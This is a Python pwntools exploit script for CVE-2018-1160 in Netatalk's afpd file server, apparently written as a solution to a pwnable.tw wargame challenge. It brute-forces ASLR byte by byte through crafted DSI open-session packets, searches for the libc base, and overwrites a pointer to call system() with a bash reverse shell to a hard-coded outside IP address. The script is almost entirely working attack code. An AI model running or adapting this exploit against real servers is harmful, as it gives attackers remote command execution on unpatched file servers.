CVE-2018-1160.py

from pwn import *
from time import sleep
from random import uniform


elf = ELF('./afpd')
libc = ELF('./libc.so.6')

DSI_FLAGS = {
     "request": 0x0,
     "response": 0x1
 }
 
 DSI_CMD = {
     "get_status": 0x3,
     "open_sess": 0x4,
     "tickle": 0x5
 }
 
 if args['REMOTE']:
     HOST = "chall.pwnable.tw"
     PORT = 10002
 else:
     HOST = "localhost"
     PORT = 5566
 
 def new_dsi_header(flag, command, request_id, offset, data_len):
 
     DSI_FLAGS = p8(flag, endian='big')
     DSI_COMMAND = p8(command, endian='big')
     DSI_REQUEST_ID = p16(request_id, endian='big')
     DSI_ERROR = p32(offset, endian='big')
     DSI_DATA_LENGTH = p32(data_len, endian='big')
     DSI_RESERVED = p32(0x0, endian='big')
 
     pck  = DSI_FLAGS
     pck += DSI_COMMAND
     pck += DSI_REQUEST_ID
     pck += DSI_ERROR
     pck += DSI_DATA_LENGTH
     pck += DSI_RESERVED
 
     return pck
 
 def send_afp(payload, req_id=0x0):
 
     context(endian='big')
 
     io = remote(HOST, PORT, level='error')
 
     error_code = 0x0
 
     p = p8(0x1, endian='big')
     p += p8(16 + len(payload), endian='big')
     p += p32(0x41414141)
     p += p32(0x42424242)
     p += p32(0x66666666)    # server quantum
     p += p32(0x43434343)    # client/server id
     p += payload            # cmd pointer
 
     packet = new_dsi_header(DSI_FLAGS["request"], DSI_CMD["open_sess"], req_id, error_code, len(p))
     packet += p
 
     io.send(packet)
     io.recv()
 
     try:
         reverse_shell = b"bash -c 'bash -i >& /dev/tcp/139.162.131.224/12345 0>&1' \x00"
         trigger = reverse_shell.ljust(0x5f8) + p64(libc_base + libc.symbols['system'], endian='little')
         packet = new_dsi_header(DSI_FLAGS["request"], DSI_CMD["open_sess"], req_id+1, error_code, len(trigger))
         packet += trigger
     except:
         pass
 
     try:
         io.send(packet)
         io.close()
     except Exception as ex:
         pass
 
 def bruteforce_aslr():
     context(endian='big')
     leak_addr = b''
 
     req_id = 0x0
     error_code = 0x0
 
     if args['SKIP']:
         return int(args['SKIP'], 0)
 
     for b in range(8):
         for i in range(256):
             print(f"[*] trying byte: {hex(i)} in offsetæ{b}", end="\r")
             io = remote(HOST, PORT, level='error')
 
             payload = b"\x01" + p8(0x11 + b) + b"a"*0x10 + leak_addr + p8(i)
             packet = new_dsi_header(DSI_FLAGS["request"], DSI_CMD["open_sess"], req_id, error_code, len(payload))
             packet += payload
 
              io.send(packet)
              try:
                  a = io.recv()
                  leak_addr += p8(i)
                  log.success(str(hex(i)))
                  io.close()
                  break
              except:
                  io.close()
  
      print("\n")
      log.success(hex(u64(leak_addr,endian='little')) + "\n")
  
      return int.from_bytes(leak_addr, 'little')
  
  rtld_off = 0x61b060
  _dl_load_lock_off = 2312
  leaked_addr = bruteforce_aslr()
  print("memory address: " + hex(leaked_addr))
  
  if args['LIBC_OFF']:
      libc_base = leaked_addr - 0x817000
      rtld_addr = libc_base + rtld_off + _dl_load_lock_off
  
      try:
          send_afp(p64(rtld_addr, endian='little'))
      except:
          pass
  else:
      # try every memory page-aligned address (assuming leaked_addr is page-aligned)
      # for offset in range(-0xfffff000, 0xfffff000, 0x1000):
      for offset in range(0, 0x6000000, 0x1000):
          for rtld_off in [0x61b060, 0xed4060]:
  
              libc_base = leaked_addr - offset
              rtld_addr = libc_base + rtld_off + _dl_load_lock_off
  
              try:
                  r = uniform(0, 0.2)
                  print(f"[*] looking for libc base: {hex(libc_base + offset)} - {hex(offset)}, waiting {r}", end="\r")
                  sleep(r)
                  send_afp(p64(rtld_addr, endian='little'))
              except:
                  pass
  
      print("\n")
      log.success("end")